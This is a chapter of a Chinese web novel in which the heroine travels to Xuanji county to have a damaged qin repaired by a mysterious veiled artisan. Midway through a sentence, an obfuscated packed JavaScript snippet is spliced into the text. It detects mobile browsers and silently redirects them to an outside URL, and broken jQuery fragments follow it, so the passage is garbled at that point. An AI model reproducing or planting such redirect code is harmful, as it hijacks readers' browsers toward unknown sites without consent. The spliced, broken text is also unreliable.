晌午之时,郁府外街巷熙攘。叫卖声嘈杂,混杂着烈阳和土壤的气味,让人感觉朴实又温暖。
可郁离枝却难有什么雅兴。
今天是她穿进这个游戏世界的第八天。惠风和畅,骄阳正好。
可是偏偏有一个大难题横亘在她眼前:要么修琴,要么推翻重新写稿。
郁离枝认命地翻动着话本书册。她决定发挥统筹思维,修琴改稿两手抓,哪条路快走哪条。
窗前略过一阵清风,忽而,一只通体雪白的鸽子落于窗沿之上,耀武扬威地扑腾了几下翅膀,而后开始慢条斯理地用喙梳理自己白亮的翎羽。
郁离枝被吸引去了目光。
这鸟却十分泰然,稳稳立于窗台之上,丝毫没有要飞走的意思。
郁离枝面露疑惑,忽然看见白鸽爪子之上似乎有什么东西。她眨了眨眼,心领神会,小心朝鸽子伸出了手。
这只信鸽显然训练良好,一点也不怕人。
郁离枝将那团东西从鸽子腿上取下,展开信纸,只见其上是简洁的一段话:
小姐:
属下已至璇玑县域边境,听闻有一避世巧匠,五日之内即可复原古琴,条件是需委托人亲自前来,但此消息真实性尚且不明,望小姐谨慎待之。属下所寻的其他匠人复原古琴最快也需要半月有余,请小姐斟酌。
落款是楚岚山。
郁离枝看着这几行字,若有所思。裁了一纸差不多大小的空白书页,写下了同样简洁的回信:
调查关于此人的具体消息。去璇玑边境离尘川最近的关口接应我,我亲自去见此人。
信手题下落款之后,郁离枝将纸片卷成筒状替换了绑于白鸽腿上。待绑好后,轻轻一抛,白鸽顺势张开羽翼,飞往空中。
而后折回到屋中,郁离枝动作迅速地换好绣着郁家家纹的锦服,将黑色笔记本悉心收进一个珠宝匣中锁好,抱着琴向门外走去。
前脚刚迈出院门,郁离枝立马折了回来,从书桌上收拾了几本话本和名家诗词,带在身上。
这些东西可不能忘了。
郁离枝迅速招呼了侍卫和车夫,告知了他们此行计划。
不到一炷香时间,郁离枝就已安坐于马车之上,踏上了前往璇玑的路途。
郁离枝的车厢内空间颇为宽大,车厢木质结构厚实,隔音减震效果优良,无多少动荡,也几乎听不到街上嘈杂的人声。
一阵忙碌之后,郁离枝终于得空放松。她微微叹了口气,用手支开马车的木窗,朝外望了一眼。
外面街景仍是郁府周边的繁华街巷,而郁离枝问过车夫,到达邻县璇玑至快也要今夜日入时分以后。
郁离枝遂放下木窗,回身端坐。收到信件后临时起意,出来的着急,她未曾想起与暮云逸告别。
而此番出府,至快恐怕也要六七日。
希望暮云逸不会介怀。
短暂地对她的男主心怀愧意之后,郁离枝眉头紧锁,复又拿出了珠宝匣。
随着“咔哒”一声,露出里面安稳躺着的黑色笔记本。
【欢迎来到“韵文之亭”!】
【请收取每日登陆奖励:绮缘之晶*50!】
郁离枝看向结晶余额:1110。
只希望她此行要见的人是确有其名,而不是白跑一趟。
日影西移,马车内光线渐渐昏暗。
郁离枝多次探出头去,颇为耐不住性子地询问车夫已行至何处。
终于在天幕完全沉入一片墨色之时,郁离枝得到了马上就能进入璇玑境内的答复。
一路上神经紧绷的郁离枝也终于得以松懈,在马车上小憩养神。
再一睁眼,郁离枝发觉车内已然不轻晃,似乎已经停了下来。
她略微警惕地将木窗打开一个缝向外查看,却听见楚岚山的声音:
“小姐。”
原来是已经到了。郁离枝放下心来,打开车厢门走了下来。
马车停在了一家客栈门前。见郁离枝下车,楚岚山十分自觉地持了古琴,随郁离枝走进客栈。
“找到那位匠人了吗?”郁离枝开口。
“属下多方打听,见到了曾经去求见之人的口信,应该确有其人。只是此位匠人性情古怪,从不以真容示人,求见之人需得亲自前去,令这位匠人满意后方可办事。”
“倒是个性情中人。不若我今夜就去求见。”
“属下已将小姐身份和所求之事求告对方,对方似乎有兴趣,要求小姐今夜或者明夜携琴独自前往此纸条上的地址。”
“我且去会会这人。”郁离枝接过纸条,展开看去——
松茗酒楼拾玖桌。
郁离枝将行李与珠宝匣小心安置在客栈,乘上马车向纸条上的地址赶去。
一路上,郁离枝开了木窗。她初到璇玑县域,对这里处处都是惊奇。她发觉此地建筑比之尘川形制更巍峨优美,街上商铺也以工造修理之事居多。
这就是郁离枝在史书上曾经见过的,因晏氏世家工造之技而大兴工造之业的县域,璇玑。
郁离枝颇为好奇地探身望着窗外,忽而一座比之郁府还要壮阔华美的府邸吸引了郁离枝的目光。
只见此府制式十分雄伟,府外大门上刻着一个大字:
“晏”。
看来此处就是璇玑晏氏的府邸。
郁离枝远远眺望去,想这晏府占地恐怕有郁府两倍有余,待马车走了许久,才被层层叠叠的楼山遮挡住。
郁离枝将视线从眺望中拉回,不料刚收回目光,马车却倏然停了下来。
“小姐,到了。”车夫道。
郁离枝下了马车,命楚岚山在内的一众侍卫在门外待命,她要依规矩独自进去。
楚岚山面有踌躇,却仍拗不过郁离枝,只得在酒楼外面戒备。
郁离枝抱琴,独自一人走进了酒楼。
“店家,您这酒楼第十九号桌于何处?”
饭时已过,酒楼内人影不算热闹。掌柜正打着盹,恍然被郁离枝的声音叫醒。
“哎,客官,在二楼东面。”
郁离枝遂抱琴上了二楼。
刚登上二楼,郁离枝扫视东面几桌,只见唯有一颇为扎眼的蒙面女子坐于角落桌前。
郁离枝眼睛尚未在此女子身上停留两息,几声清脆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202078|197231||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑声却穿过酒桌直达郁离枝耳中。
“来了。你就是郁璋的独女,郁离枝?”女子的笑声清脆如铜铃,话语婉转轻柔。
“正是。”郁离枝走至桌前,将怀中古琴轻放在一旁,坐在蒙面女子的对面。
“不错,有胆量。今日这么晚了,我还以为你不会来了呢。”
郁离枝看着对面的蒙面女子,不见表情,却能从话音中听出对方分分明在笑。
“姐姐如何称呼?此琴一事实在紧急,舟车劳顿赶至此处,希望姐姐能施以援手,感激不尽。”
“叫我婉儿就好。”蒙面女子收了笑意,语气里似乎夹杂了些苦恼和撒娇,“可是我只修有缘之人的有缘之物,离枝妹妹要做好心理准备。”
“何谓有缘之人?何为有缘之物?”郁离枝问。
婉儿没有正面回答,话锋一转轻柔道:“听妹妹旅途至此,还没有用晚膳?我命掌柜再上些菜品,离枝妹妹先吃,让婉儿看看这琴可还修得。”
郁离枝没有推脱。纵然在马车上吃了些点心,可扔不顶用,她早就饿得肚子咕咕叫了。
婉儿俯身以手触摸着断掉的琴弦,若有所思地停顿,又缓缓摸了摸木制琴身。倩声笑语不再,看上去颇为严肃。
“婉儿姐姐,怎么样?莫非此琴情况棘手?”郁离枝心中升起几分忧虑。
婉儿闻言轻摇头,和缓道:“此琴制式古老,琴身和琴弦的材质都十分名贵,竟颇有已没落的沈氏之风。不过想来,离枝妹妹能接触到这种琴也在情理之中。冒昧问一下,此琴原本的主人系谁?”
“是我府上的一名乐师。”郁离枝语焉不详,不想详细说这件事。
婉儿点头,识趣地不再追问。
“只是,此琴恐怕不是如离枝妹妹一开始所说的,是弹琴时崩断的。看这断弦截面和琴身上的细微磕碰,恐是人为所伤。”婉儿道。
“……人为,所伤?”
郁离枝眉头蹙起。这却是她不曾想过的。
“正是。莫非这之间,有什么说法上的出入?”
郁离枝颔首沉思。暮云逸当时确有其说是无意间崩断,且神情十分不自然。自己虽心存疑惑,但也没有放在心上。
郁府内戒备森严,守卫众多,刺客想要进入恐怕不易。那么到底是谁做的?到底发生了什么?
婉儿正对着眉头紧锁,闭口不答的郁离枝。面纱下看不见的娇美容颜之上,一点朱唇挽起一个几分了然几分顽劣的弧度。
“此琴我已经看过了,可以修,五日之内可完工。”婉儿站起身来,走到原来的座位之上,“只是婉儿有一个条件,需得离枝姑娘亲自前去采买修复琴弦所用的蚕丝。此琴名贵,就婉儿所知璇玑境内有制此种品类的丝弦的人家恐怕不多,故也难求,离枝姑娘恐怕要找寻一番。”
“无事,只要姐姐能修就好。我明日就动身去找。”郁离枝如释重负,能修就好。不过采买些蚕丝,这事她肯定能摆平。
“……好。那么婉儿就等着离枝妹妹的消息。此琴我暂且先带回去了。”婉儿又恢复了盈盈笑意,细软面纱下的笑靥上绽起一个酒窝,持琴先行一步走出了酒楼。